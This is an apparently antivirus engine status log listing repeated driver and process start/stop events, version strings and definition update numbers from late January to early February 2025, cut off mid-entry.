2025-01-22 05:18:06 AR2CFG: 250116 VPS 2025-01-22 05:18:06 AR2DEV: Start 1 Driver: 210305 2025-01-23 01:09:48 AR2DEV: Stopped 1 2025-01-23 01:09:48 AVAVER: 21.2.2455 AR2: 250110 defs: 25012204 2025-01-23 01:09:48 ARPOT2: Start 6584 2025-01-23 01:09:48 AR2CFG: 250116 VPS 2025-01-23 01:09:48 AR2DEV: Start 1 Driver: 210305 2025-01-23 01:09:48 AR2DEV: Stopped 1 2025-01-23 01:09:48 AVAVER: 21.2.2455 AR2: 250110 defs: 25012204 2025-01-23 01:09:48 ARPOT2: Start 1328 2025-01-23 01:09:48 AR2CFG: 250116 VPS 2025-01-23 01:09:49 AR2DEV: Start 1 Driver: 210305 2025-01-23 05:10:59 AR2DEV: Stopped 1 2025-01-23 05:10:59 AVAVER: 21.2.2455 AR2: 250110 defs: 25012210 2025-01-23 05:10:59 ARPOT2: Start 6684 2025-01-23 05:10:59 AR2CFG: 250116 VPS 2025-01-23 05:10:59 AR2DEV: Start 1 Driver: 210305 2025-01-23 05:11:02 AR2DEV: Stopped 1 2025-01-23 05:11:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25012210 2025-01-23 05:11:02 ARPOT2: Start 7744 2025-01-23 05:11:02 AR2CFG: 250116 VPS 2025-01-23 05:11:02 AR2DEV: Start 1 Driver: 210305 2025-01-23 09:11:56 AR2DEV: Stopped 1 2025-01-23 09:11:56 AVAVER: 21.2.2455 AR2: 250110 defs: 25012218 2025-01-23 09:11:56 ARPOT2: Start 7092 2025-01-23 09:11:56 AR2CFG: 250116 VPS 2025-01-23 09:11:56 AR2DEV: Start 1 Driver: 210305 2025-01-23 09:11:59 AR2DEV: Stopped 1 2025-01-23 09:11:59 AVAVER: 21.2.2455 AR2: 250110 defs: 25012218 2025-01-23 09:11:59 ARPOT2: Start 7244 2025-01-23 09:11:59 AR2CFG: 250116 VPS 2025-01-23 09:11:59 AR2DEV: Start 1 Driver: 210305 2025-01-23 21:13:10 AR2DEV: Stopped 1 2025-01-23 21:13:10 AVAVER: 21.2.2455 AR2: 250110 defs: 25012314 2025-01-23 21:13:10 ARPOT2: Start 8160 2025-01-23 21:13:10 AR2CFG: 250116 VPS 2025-01-23 21:13:10 AR2DEV: Start 1 Driver: 210305 2025-01-23 21:13:10 AR2DEV: Stopped 1 2025-01-23 21:13:10 AVAVER: 21.2.2455 AR2: 250110 defs: 25012314 2025-01-23 21:13:10 ARPOT2: Start 7484 2025-01-23 21:13:10 AR2CFG: 250116 VPS 2025-01-23 21:13:10 AR2DEV: Start 1 Driver: 210305 2025-01-24 01:14:28 AR2DEV: Stopped 1 2025-01-24 01:14:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25012316 2025-01-24 01:14:28 ARPOT2: Start 4632 2025-01-24 01:14:28 AR2CFG: 250116 VPS 2025-01-24 01:14:28 AR2DEV: Start 1 Driver: 210305 2025-01-24 01:14:28 AR2DEV: Stopped 1 2025-01-24 01:14:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25012316 2025-01-24 01:14:28 ARPOT2: Start 4612 2025-01-24 01:14:28 AR2CFG: 250116 VPS 2025-01-24 01:14:28 AR2DEV: Start 1 Driver: 210305 2025-01-24 05:15:28 AR2DEV: Stopped 1 2025-01-24 05:15:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25012318 2025-01-24 05:15:28 ARPOT2: Start 6920 2025-01-24 05:15:28 AR2CFG: 250116 VPS 2025-01-24 05:15:28 AR2DEV: Start 1 Driver: 210305 2025-01-24 05:15:28 AR2DEV: Stopped 1 2025-01-24 05:15:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25012318 2025-01-24 05:15:28 ARPOT2: Start 4492 2025-01-24 05:15:28 AR2CFG: 250116 VPS 2025-01-24 05:15:28 AR2DEV: Start 1 Driver: 210305 2025-01-24 09:16:37 AR2DEV: Stopped 1 2025-01-24 09:16:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25012320 2025-01-24 09:16:37 ARPOT2: Start 1440 2025-01-24 09:16:37 AR2CFG: 250116 VPS 2025-01-24 09:16:37 AR2DEV: Start 1 Driver: 210305 2025-01-24 09:16:37 AR2DEV: Stopped 1 2025-01-24 09:16:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25012320 2025-01-24 09:16:37 ARPOT2: Start 8076 2025-01-24 09:16:37 AR2CFG: 250116 VPS 2025-01-24 09:16:37 AR2DEV: Start 1 Driver: 210305 2025-01-24 17:17:49 AR2DEV: Stopped 1 2025-01-24 17:17:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25012400 2025-01-24 17:17:49 ARPOT2: Start 6784 2025-01-24 17:17:49 AR2CFG: 250116 VPS 2025-01-24 17:17:49 AR2DEV: Start 1 Driver: 210305 2025-01-24 17:17:49 AR2DEV: Stopped 1 2025-01-24 17:17:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25012400 2025-01-24 17:17:49 ARPOT2: Start 7996 2025-01-24 17:17:49 AR2CFG: 250116 VPS 2025-01-24 17:17:50 AR2DEV: Start 1 Driver: 210305 2025-01-24 21:18:53 AR2DEV: Stopped 1 2025-01-24 21:18:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25012402 2025-01-24 21:18:53 ARPOT2: Start 7944 2025-01-24 21:18:53 AR2CFG: 250116 VPS 2025-01-24 21:18:53 AR2DEV: Start 1 Driver: 210305 2025-01-24 21:18:54 AR2DEV: Stopped 1 2025-01-24 21:18:54 AVAVER: 21.2.2455 AR2: 250110 defs: 25012402 2025-01-24 21:18:54 ARPOT2: Start 6888 2025-01-24 21:18:54 AR2CFG: 250116 VPS 2025-01-24 21:18:54 AR2DEV: Start 1 Driver: 210305 2025-01-25 01:19:58 AR2DEV: Stopped 1 2025-01-25 01:19:58 AVAVER: 21.2.2455 AR2: 250110 defs: 25012404 2025-01-25 01:19:58 ARPOT2: Start 7712 2025-01-25 01:19:58 AR2CFG: 250116 VPS 2025-01-25 01:19:58 AR2DEV: Start 1 Driver: 210305 2025-01-25 01:20:01 AR2DEV: Stopped 1 2025-01-25 01:20:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25012404 2025-01-25 01:20:01 ARPOT2: Start 8076 2025-01-25 01:20:01 AR2CFG: 250116 VPS 2025-01-25 01:20:01 AR2DEV: Start 1 Driver: 210305 2025-01-25 13:21:17 AR2DEV: Stopped 1 2025-01-25 13:21:18 AVAVER: 21.2.2455 AR2: 250110 defs: 25012500 2025-01-25 13:21:18 ARPOT2: Start 624 2025-01-25 13:21:18 AR2CFG: 250116 VPS 2025-01-25 13:21:18 AR2DEV: Start 1 Driver: 210305 2025-01-25 13:21:18 AR2DEV: Stopped 1 2025-01-25 13:21:18 AVAVER: 21.2.2455 AR2: 250110 defs: 25012500 2025-01-25 13:21:18 ARPOT2: Start 6036 2025-01-25 13:21:18 AR2CFG: 250116 VPS 2025-01-25 13:21:18 AR2DEV: Start 1 Driver: 210305 2025-01-25 21:22:31 AR2DEV: Stopped 1 2025-01-25 21:22:31 AVAVER: 21.2.2455 AR2: 250110 defs: 25012502 2025-01-25 21:22:31 ARPOT2: Start 6528 2025-01-25 21:22:31 AR2CFG: 250116 VPS 2025-01-25 21:22:31 AR2DEV: Start 1 Driver: 210305 2025-01-25 21:22:31 AR2DEV: Stopped 1 2025-01-25 21:22:31 AVAVER: 21.2.2455 AR2: 250110 defs: 25012502 2025-01-25 21:22:31 ARPOT2: Start 3844 2025-01-25 21:22:32 AR2CFG: 250116 VPS 2025-01-25 21:22:32 AR2DEV: Start 1 Driver: 210305 2025-01-26 01:23:27 AR2DEV: Stopped 1 2025-01-26 01:23:27 AVAVER: 21.2.2455 AR2: 250110 defs: 25012504 2025-01-26 01:23:27 ARPOT2: Start 7876 2025-01-26 01:23:27 AR2CFG: 250116 VPS 2025-01-26 01:23:27 AR2DEV: Start 1 Driver: 210305 2025-01-26 01:23:27 AR2DEV: Stopped 1 2025-01-26 01:23:27 AVAVER: 21.2.2455 AR2: 250110 defs: 25012504 2025-01-26 01:23:27 ARPOT2: Start 6248 2025-01-26 01:23:27 AR2CFG: 250116 VPS 2025-01-26 01:23:27 AR2DEV: Start 1 Driver: 210305 2025-01-26 13:24:41 AR2DEV: Stopped 1 2025-01-26 13:24:41 AVAVER: 21.2.2455 AR2: 250110 defs: 25012600 2025-01-26 13:24:41 ARPOT2: Start 5780 2025-01-26 13:24:41 AR2CFG: 250116 VPS 2025-01-26 13:24:41 AR2DEV: Start 1 Driver: 210305 2025-01-26 13:24:41 AR2DEV: Stopped 1 2025-01-26 13:24:41 AVAVER: 21.2.2455 AR2: 250110 defs: 25012600 2025-01-26 13:24:41 ARPOT2: Start 7612 2025-01-26 13:24:41 AR2CFG: 250116 VPS 2025-01-26 13:24:41 AR2DEV: Start 1 Driver: 210305 2025-01-26 21:25:46 AR2DEV: Stopped 1 2025-01-26 21:25:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25012602 2025-01-26 21:25:47 ARPOT2: Start 7968 2025-01-26 21:25:47 AR2CFG: 250116 VPS 2025-01-26 21:25:47 AR2DEV: Start 1 Driver: 210305 2025-01-26 21:25:47 AR2DEV: Stopped 1 2025-01-26 21:25:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25012602 2025-01-26 21:25:47 ARPOT2: Start 1992 2025-01-26 21:25:47 AR2CFG: 250116 VPS 2025-01-26 21:25:47 AR2DEV: Start 1 Driver: 210305 2025-01-27 01:26:59 AR2DEV: Stopped 1 2025-01-27 01:26:59 AVAVER: 21.2.2455 AR2: 250110 defs: 25012604 2025-01-27 01:26:59 ARPOT2: Start 7268 2025-01-27 01:26:59 AR2CFG: 250116 VPS 2025-01-27 01:26:59 AR2DEV: Start 1 Driver: 210305 2025-01-27 01:27:02 AR2DEV: Stopped 1 2025-01-27 01:27:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25012604 2025-01-27 01:27:02 ARPOT2: Start 6224 2025-01-27 01:27:02 AR2CFG: 250116 VPS 2025-01-27 01:27:02 AR2DEV: Start 1 Driver: 210305 2025-01-27 21:28:32 AR2DEV: Stopped 1 2025-01-27 21:28:32 AVAVER: 21.2.2455 AR2: 250110 defs: 25012704 2025-01-27 21:28:32 ARPOT2: Start 7668 2025-01-27 21:28:32 AR2CFG: 250116 VPS 2025-01-27 21:28:32 AR2DEV: Start 1 Driver: 210305 2025-01-27 21:28:36 AR2DEV: Stopped 1 2025-01-27 21:28:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25012704 2025-01-27 21:28:36 ARPOT2: Start 7300 2025-01-27 21:28:36 AR2CFG: 250116 VPS 2025-01-27 21:28:36 AR2DEV: Start 1 Driver: 210305 2025-01-28 01:29:36 AR2DEV: Stopped 1 2025-01-28 01:29:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25012708 2025-01-28 01:29:36 ARPOT2: Start 7480 2025-01-28 01:29:36 AR2CFG: 250116 VPS 2025-01-28 01:29:36 AR2DEV: Start 1 Driver: 210305 2025-01-28 01:29:39 AR2DEV: Stopped 1 2025-01-28 01:29:39 AVAVER: 21.2.2455 AR2: 250110 defs: 25012708 2025-01-28 01:29:39 ARPOT2: Start 2704 2025-01-28 01:29:39 AR2CFG: 250116 VPS 2025-01-28 01:29:39 AR2DEV: Start 1 Driver: 210305 2025-01-28 21:31:19 AR2DEV: Stopped 1 2025-01-28 21:31:19 AVAVER: 21.2.2455 AR2: 250110 defs: 25012806 2025-01-28 21:31:19 ARPOT2: Start 8004 2025-01-28 21:31:19 AR2CFG: 250116 VPS 2025-01-28 21:31:19 AR2DEV: Start 1 Driver: 210305 2025-01-28 21:31:19 AR2DEV: Stopped 1 2025-01-28 21:31:19 AVAVER: 21.2.2455 AR2: 250110 defs: 25012806 2025-01-28 21:31:19 ARPOT2: Start 7252 2025-01-28 21:31:19 AR2CFG: 250116 VPS 2025-01-28 21:31:19 AR2DEV: Start 1 Driver: 210305 2025-01-29 01:32:29 AR2DEV: Stopped 1 2025-01-29 01:32:29 AVAVER: 21.2.2455 AR2: 250110 defs: 25012808 2025-01-29 01:32:29 ARPOT2: Start 9456 2025-01-29 01:32:29 AVAVER: 21.2.2455 AR2: 250110 defs: 25012808 2025-01-29 01:32:29 ARPOT2: Start 9744 2025-01-29 01:32:29 AR2CFG: 250116 VPS 2025-01-29 01:32:29 AR2DEV: Start 1 Driver: 210305 2025-01-29 13:34:01 AR2DEV: Stopped 1 2025-01-29 13:34:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25012900 2025-01-29 13:34:01 ARPOT2: Start 8708 2025-01-29 13:34:01 AR2CFG: 250116 VPS 2025-01-29 13:34:01 AR2DEV: Start 1 Driver: 210305 2025-01-29 13:34:01 AR2DEV: Stopped 1 2025-01-29 13:34:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25012900 2025-01-29 13:34:01 ARPOT2: Start 7944 2025-01-29 13:34:01 AR2CFG: 250116 VPS 2025-01-29 13:34:01 AR2DEV: Start 1 Driver: 210305 2025-01-29 21:35:08 AR2DEV: Stopped 1 2025-01-29 21:35:08 AVAVER: 21.2.2455 AR2: 250110 defs: 25012902 2025-01-29 21:35:08 ARPOT2: Start 9364 2025-01-29 21:35:08 AR2CFG: 250116 VPS 2025-01-29 21:35:08 AR2DEV: Start 1 Driver: 210305 2025-01-29 21:35:08 AR2DEV: Stopped 1 2025-01-29 21:35:08 AVAVER: 21.2.2455 AR2: 250110 defs: 25012902 2025-01-29 21:35:08 ARPOT2: Start 9888 2025-01-29 21:35:08 AR2CFG: 250116 VPS 2025-01-29 21:35:08 AR2DEV: Start 1 Driver: 210305 2025-01-30 05:36:26 AR2DEV: Stopped 1 2025-01-30 05:36:26 AVAVER: 21.2.2455 AR2: 250110 defs: 25012904 2025-01-30 05:36:26 ARPOT2: Start 9024 2025-01-30 05:36:26 AR2CFG: 250116 VPS 2025-01-30 05:36:26 AR2DEV: Start 1 Driver: 210305 2025-01-30 05:36:27 AR2DEV: Stopped 1 2025-01-30 05:36:27 AVAVER: 21.2.2455 AR2: 250110 defs: 25012904 2025-01-30 05:36:27 ARPOT2: Start 9720 2025-01-30 05:36:27 AR2CFG: 250116 VPS 2025-01-30 05:36:27 AR2DEV: Start 1 Driver: 210305 2025-01-30 09:37:49 AR2DEV: Stopped 1 2025-01-30 09:37:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25012906 2025-01-30 09:37:49 ARPOT2: Start 10200 2025-01-30 09:37:49 AR2CFG: 250116 VPS 2025-01-30 09:37:49 AR2DEV: Start 1 Driver: 210305 2025-01-30 09:37:49 AR2DEV: Stopped 1 2025-01-30 09:37:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25012906 2025-01-30 09:37:49 ARPOT2: Start 9304 2025-01-30 09:37:49 AR2CFG: 250116 VPS 2025-01-30 09:37:49 AR2DEV: Start 1 Driver: 210305 2025-01-30 17:39:08 AR2DEV: Stopped 1 2025-01-30 17:39:08 AVAVER: 21.2.2455 AR2: 250110 defs: 25013002 2025-01-30 17:39:08 ARPOT2: Start 10208 2025-01-30 17:39:08 AR2CFG: 250116 VPS 2025-01-30 17:39:08 AR2DEV: Start 1 Driver: 210305 2025-01-30 17:39:09 AR2DEV: Stopped 1 2025-01-30 17:39:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25013002 2025-01-30 17:39:09 ARPOT2: Start 7744 2025-01-30 17:39:09 AR2CFG: 250116 VPS 2025-01-30 17:39:09 AR2DEV: Start 1 Driver: 210305 2025-01-30 21:40:16 AR2DEV: Stopped 1 2025-01-30 21:40:16 AVAVER: 21.2.2455 AR2: 250110 defs: 25013004 2025-01-30 21:40:16 ARPOT2: Start 9512 2025-01-30 21:40:16 AR2CFG: 250116 VPS 2025-01-30 21:40:16 AR2DEV: Start 1 Driver: 210305 2025-01-30 21:40:17 AR2DEV: Stopped 1 2025-01-30 21:40:17 AVAVER: 21.2.2455 AR2: 250110 defs: 25013004 2025-01-30 21:40:17 ARPOT2: Start 8276 2025-01-30 21:40:17 AR2CFG: 250116 VPS 2025-01-30 21:40:17 AR2DEV: Start 1 Driver: 210305 2025-01-31 05:41:24 AR2DEV: Stopped 1 2025-01-31 05:41:24 AVAVER: 21.2.2455 AR2: 250110 defs: 25013010 2025-01-31 05:41:24 ARPOT2: Start 8884 2025-01-31 05:41:24 AR2CFG: 250116 VPS 2025-01-31 05:41:24 AR2DEV: Start 1 Driver: 210305 2025-01-31 05:41:24 AR2DEV: Stopped 1 2025-01-31 05:41:24 AVAVER: 21.2.2455 AR2: 250110 defs: 25013010 2025-01-31 05:41:24 ARPOT2: Start 8208 2025-01-31 05:41:24 AR2CFG: 250116 VPS 2025-01-31 05:41:24 AR2DEV: Start 1 Driver: 210305 2025-01-31 21:42:51 AR2DEV: Stopped 1 2025-01-31 21:42:51 AVAVER: 21.2.2455 AR2: 250110 defs: 25013108 2025-01-31 21:42:51 ARPOT2: Start 9940 2025-01-31 21:42:51 AR2CFG: 250116 VPS 2025-01-31 21:42:51 AR2DEV: Start 1 Driver: 210305 2025-01-31 21:42:51 AR2DEV: Stopped 1 2025-01-31 21:42:51 AVAVER: 21.2.2455 AR2: 250110 defs: 25013108 2025-01-31 21:42:51 ARPOT2: Start 6908 2025-01-31 21:42:51 AR2CFG: 250116 VPS 2025-01-31 21:42:51 AR2DEV: Start 1 Driver: 210305 2025-02-01 03:37:32 AR2DEV: Stopped 1 2025-02-01 03:37:32 AVAVER: 21.2.2455 AR2: 250110 defs: 25013110 2025-02-01 03:37:32 ARPOT2: Start 8976 2025-02-01 03:37:32 AR2CFG: 250116 VPS 2025-02-01 03:37:32 AR2DEV: Start 1 Driver: 210305 2025-02-01 03:37:33 AR2DEV: Stopped 1 2025-02-01 03:37:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25013110 2025-02-01 03:37:33 ARPOT2: Start 6716 2025-02-01 03:37:33 AR2CFG: 250116 VPS 2025-02-01 03:37:33 AR2DEV: Start 1 Driver: 210305 2025-02-01 15:39:02 AR2DEV: Stopped 1 2025-02-01 15:39:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25020100 2025-02-01 15:39:02 ARPOT2: Start 8428 2025-02-01 15:39:02 AR2CFG: 250116 VPS 2025-02-01 15:39:02 AR2DEV: Start 1 Driver: 210305 2025-02-01 15:39:05 AR2DEV: Stopped 1 2025-02-01 15:39:05 AVAVER: 21.2.2455 AR2: 250110 defs: 25020100 2025-02-01 15:39:05 ARPOT2: Start 5960 2025-02-01 15:39:05 AR2CFG: 250116 VPS 2025-02-01 15:39:05 AR2DEV: Start 1 Driver: 210305 2025-02-01 23:40:10 AR2DEV: Stopped 1 2025-02-01 23:40:10 AVAVER: 21.2.2455 AR2: 250110 defs: 25020102 2025-02-01 23:40:10 ARPOT2: Start 8488 2025-02-01 23:40:10 AR2CFG: 250116 VPS 2025-02-01 23:40:10 AR2DEV: Start 1 Driver: 210305 2025-02-01 23:40:11 AR2DEV: Stopped 1 2025-02-01 23:40:11 AVAVER: 21.2.2455 AR2: 250110 defs: 25020102 2025-02-01 23:40:11 ARPOT2: Start 9608 2025-02-01 23:40:11 AR2CFG: 250116 VPS 2025-02-01 23:40:12 AR2DEV: Start 1 Driver: 210305 2025-02-02 03:41:20 AR2DEV: Stopped 1 2025-02-02 03:41:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25020104 2025-02-02 03:41:20 ARPOT2: Start 9916 2025-02-02 03:41:20 AR2CFG: 250116 VPS 2025-02-02 03:41:20 AR2DEV: Start 1 Driver: 210305 2025-02-02 03:41:20 AR2DEV: Stopped 1 2025-02-02 03:41:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25020104 2025-02-02 03:41:20 ARPOT2: Start 9964 2025-02-02 03:41:20 AR2CFG: 250116 VPS 2025-02-02 03:41:20 AR2DEV: Start 1 Driver: 210305 2025-02-02 15:42:49 AR2DEV: Stopped 1 2025-02-02 15:42:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25020200 2025-02-02 15:42:49 ARPOT2: Start 8324 2025-02-02 15:42:49 AR2CFG: 250116 VPS 2025-02-02 15:42:49 AR2DEV: Start 1 Driver: 210305 2025-02-02 15:42:50 AR2DEV: Stopped 1 2025-02-02 15:42:50 AVAVER: 21.2.2455 AR2: 250110 defs: 25020200 2025-02-02 15:42:50 ARPOT2: Start 8832 2025-02-02 15:42:50 AR2CFG: 250116 VPS 2025-02-02 15:42:50 AR2DEV: Start 1 Driver: 210305 2025-02-02 19:44:01 AR2DEV: Stopped 1 2025-02-02 19:44:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25020202 2025-02-02 19:44:01 ARPOT2: Start 9132 2025-02-02 19:44:01 AR2CFG: 250116 VPS 2025-02-02 19:44:02 AR2DEV: Start 1 Driver: 210305 2025-02-02 19:44:02 AR2DEV: Stopped 1 2025-02-02 19:44:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25020202 2025-02-02 19:44:02 ARPOT2: Start 9428 2025-02-02 19:44:02 AR2CFG: 250116 VPS 2025-02-02 19:44:02 AR2DEV: Start 1 Driver: 210305 2025-02-03 03:45:28 AR2DEV: Stopped 1 2025-02-03 03:45:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25020204 2025-02-03 03:45:28 ARPOT2: Start 9200 2025-02-03 03:45:28 AR2CFG: 250116 VPS 2025-02-03 03:45:28 AR2DEV: Start 1 Driver: 210305 2025-02-03 03:45:29 AR2DEV: Stopped 1 2025-02-03 03:45:29 AVAVER: 21.2.2455 AR2: 250110 defs: 25020204 2025-02-03 03:45:29 ARPOT2: Start 8964 2025-02-03 03:45:29 AR2CFG: 250116 VPS 2025-02-03 03:45:29 AR2DEV: Start 1 Driver: 210305 2025-02-03 15:46:49 AR2DEV: Stopped 1 2025-02-03 15:46:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25020300 2025-02-03 15:46:49 ARPOT2: Start 6200 2025-02-03 15:46:49 AR2CFG: 250116 VPS 2025-02-03 15:46:49 AR2DEV: Start 1 Driver: 210305 2025-02-03 15:46:49 AR2DEV: Stopped 1 2025-02-03 15:46:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25020300 2025-02-03 15:46:49 ARPOT2: Start 4492 2025-02-03 15:46:49 AR2CFG: 250116 VPS 2025-02-03 15:46:49 AR2DEV: Start 1 Driver: 210305 2025-02-04 03:48:12 AR2DEV: Stopped 1 2025-02-04 03:48:12 AVAVER: 21.2.2455 AR2: 250110 defs: 25020304 2025-02-04 03:48:12 ARPOT2: Start 7900 2025-02-04 03:48:12 AR2CFG: 250116 VPS 2025-02-04 03:48:12 AR2DEV: Start 1 Driver: 210305 2025-02-04 03:48:13 AR2DEV: Stopped 1 2025-02-04 03:48:13 AVAVER: 21.2.2455 AR2: 250110 defs: 25020304 2025-02-04 03:48:13 ARPOT2: Start 8156 2025-02-04 03:48:13 AR2CFG: 250116 VPS 2025-02-04 03:48:13 AR2DEV: Start 1 Driver: 210305 2025-02-04 19:50:06 AR2DEV: Stopped 1 2025-02-04 19:50:07 AVAVER: 21.2.2455 AR2: 250110 defs: 25020406 2025-02-04 19:50:07 ARPOT2: Start 6548 2025-02-04 19:50:07 AVAVER: 21.2.2455 AR2: 250110 defs: 25020406 2025-02-04 19:50:07 ARPOT2: Start 6632 2025-02-04 19:50:07 AR2CFG: 250116 VPS 2025-02-04 19:50:07 AR2DEV: Start 1 Driver: 210305 2025-02-05 07:51:43 AR2DEV: Stopped 1 2025-02-05 07:51:44 AVAVER: 21.2.2455 AR2: 250110 defs: 25020410 2025-02-05 07:51:44 ARPOT2: Start 8168 2025-02-05 07:51:44 AR2CFG: 250116 VPS 2025-02-05 07:51:44 AR2DEV: Start 1 Driver: 210305 2025-02-05 07:51:47 AR2DEV: Stopped 1 2025-02-05 07:51:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25020410 2025-02-05 07:51:47 ARPOT2: Start 11192 2025-02-05 07:51:47 AR2CFG: 250116 VPS 2025-02-05 07:51:47 AR2DEV: Start 1 Driver: 210305 2025-02-05 15:53:06 AR2DEV: Stopped 1 2025-02-05 15:53:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25020500 2025-02-05 15:53:06 ARPOT2: Start 10320 2025-02-05 15:53:06 AR2CFG: 250116 VPS 2025-02-05 15:53:06 AR2DEV: Start 1 Driver: 210305 2025-02-05 15:53:06 AR2DEV: Stopped 1 2025-02-05 15:53:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25020500 2025-02-05 15:53:06 ARPOT2: Start 7576 2025-02-05 15:53:06 AR2CFG: 250116 VPS 2025-02-05 15:53:06 AR2DEV: Start 1 Driver: 210305 2025-02-05 23:54:24 AR2DEV: Stopped 1 2025-02-05 23:54:24 AVAVER: 21.2.2455 AR2: 250110 defs: 25020504 2025-02-05 23:54:24 ARPOT2: Start 11048 2025-02-05 23:54:24 AR2CFG: 250116 VPS 2025-02-05 23:54:24 AR2DEV: Start 1 Driver: 210305 2025-02-05 23:54:25 AR2DEV: Stopped 1 2025-02-05 23:54:25 AVAVER: 21.2.2455 AR2: 250110 defs: 25020504 2025-02-05 23:54:25 ARPOT2: Start 8428 2025-02-05 23:54:25 AR2CFG: 250116 VPS 2025-02-05 23:54:25 AR2DEV: Start 1 Driver: 210305 2025-02-06 03:55:39 AR2DEV: Stopped 1 2025-02-06 03:55:39 AVAVER: 21.2.2455 AR2: 250110 defs: 25020506 2025-02-06 03:55:39 ARPOT2: Start 10256 2025-02-06 03:55:39 AR2CFG: 250116 VPS 2025-02-06 03:55:39 AR2DEV: Start 1 Driver: 210305 2025-02-06 03:55:40 AR2DEV: Stopped 1 2025-02-06 03:55:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25020506 2025-02-06 03:55:40 ARPOT2: Start 10496 2025-02-06 03:55:40 AR2CFG: 250116 VPS 2025-02-06 03:55:40 AR2DEV: Start 1 Driver: 210305 2025-02-06 19:57:08 AR2DEV: Stopped 1 2025-02-06 19:57:08 AVAVER: 21.2.2455 AR2: 250110 defs: 25020604 2025-02-06 19:57:08 ARPOT2: Start 10776 2025-02-06 19:57:08 AR2CFG: 250116 VPS 2025-02-06 19:57:08 AR2DEV: Start 1 Driver: 210305 2025-02-06 19:57:08 AR2DEV: Stopped 1 2025-02-06 19:57:08 AVAVER: 21.2.2455 AR2: 250110 defs: 25020604 2025-02-06 19:57:08 ARPOT2: Start 10144 2025-02-06 19:57:08 AR2CFG: 250116 VPS 2025-02-06 19:57:08 AR2DEV: Start 1 Driver: 210305 2025-02-07 03:58:13 AR2DEV: Stopped 1 2025-02-07 03:58:13 AVAVER: 21.2.2455 AR2: 250110 defs: 25020606 2025-02-07 03:58:13 ARPOT2: Start 7612 2025-02-07 03:58:13 AR2CFG: 250116 VPS 2025-02-07 03:58:13 AR2DEV: Start 1 Driver: 210305 2025-02-07 03:58:18 AR2DEV: Stopped 1 2025-02-07 03:58:18 AVAVER: 21.2.2455 AR2: 250110 defs: 25020606 2025-02-07 03:58:18 ARPOT2: Start 11184 2025-02-07 03:58:18 AR2CFG: 250116 VPS 2025-02-07 03:58:18 AR2DEV: Start 1 Driver: 210305 2025-02-07 15:59:31 AR2DEV: Stopped 1 2025-02-07 15:59:31 AVAVER: 21.2.2455 AR2: 250110 defs: 25020700 2025-02-07 15:59:31 ARPOT2: Start 10420 2025-02-07 15:59:31 AR2CFG: 250116 VPS 2025-02-07 15:59:31 AR2DEV: Start 1 Driver: 210305 2025-02-07 15:59:35 AR2DEV: Stopped 1 2025-02-07 15:59:35 AVAVER: 21.2.2455 AR2: 250110 defs: 25020700 2025-02-07 15:59:35 ARPOT2: Start 10948 2025-02-07 15:59:35 AR2CFG: 250116 VPS 2025-02-07 15:59:35 AR2DEV: Start 1 Driver: 210305 2025-02-07 20:00:31 AR2DEV: Stopped 1 2025-02-07 20:00:31 AVAVER: 21.2.2455 AR2: 250110 defs: 25020704 2025-02-07 20:00:31 ARPOT2: Start 11192 2025-02-07 20:00:31 AR2CFG: 250116 VPS 2025-02-07 20:00:31 AR2DEV: Start 1 Driver: 210305 2025-02-07 20:00:34 AR2DEV: Stopped 1 2025-02-07 20:00:34 AVAVER: 21.2.2455 AR2: 250110 defs: 25020704 2025-02-07 20:00:34 ARPOT2: Start 5480 2025-02-07 20:00:34 AR2CFG: 250116 VPS 2025-02-07 20:00:34 AR2DEV: Start 1 Driver: 210305 2025-02-08 04:01:33 AR2DEV: Stopped 1 2025-02-08 04:01:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25020706 2025-02-08 04:01:33 ARPOT2: Start 7904 2025-02-08 04:01:33 AR2CFG: 250116 VPS 2025-02-08 04:01:33 AR2DEV: Start 1 Driver: 210305 2025-02-08 04:01:35 AR2DEV: Stopped 1 2025-02-08 04:01:35 AVAVER: 21.2.2455 AR2: 250110 defs: 25020706 2025-02-08 04:01:35 ARPOT2: Start 1276 2025-02-08 04:01:35 AR2CFG: 250116 VPS 2025-02-08 04:01:35 AR2DEV: Start 1 Driver: 210305 2025-02-08 16:02:55 AR2DEV: Stopped 1 2025-02-08 16:02:55 AVAVER: 21.2.2455 AR2: 250110 defs: 25020800 2025-02-08 16:02:55 ARPOT2: Start 10256 2025-02-08 16:02:55 AR2CFG: 250116 VPS 2025-02-08 16:02:55 AR2DEV: Start 1 Driver: 210305 2025-02-08 16:02:55 AR2DEV: Stopped 1 2025-02-08 16:02:55 AVAVER: 21.2.2455 AR2: 250110 defs: 25020800 2025-02-08 16:02:55 ARPOT2: Start 9688 2025-02-08 16:02:55 AR2CFG: 250116 VPS 2025-02-08 16:02:55 AR2DEV: Start 1 Driver: 210305 2025-02-08 20:03:52 AR2DEV: Stopped 1 2025-02-08 20:03:52 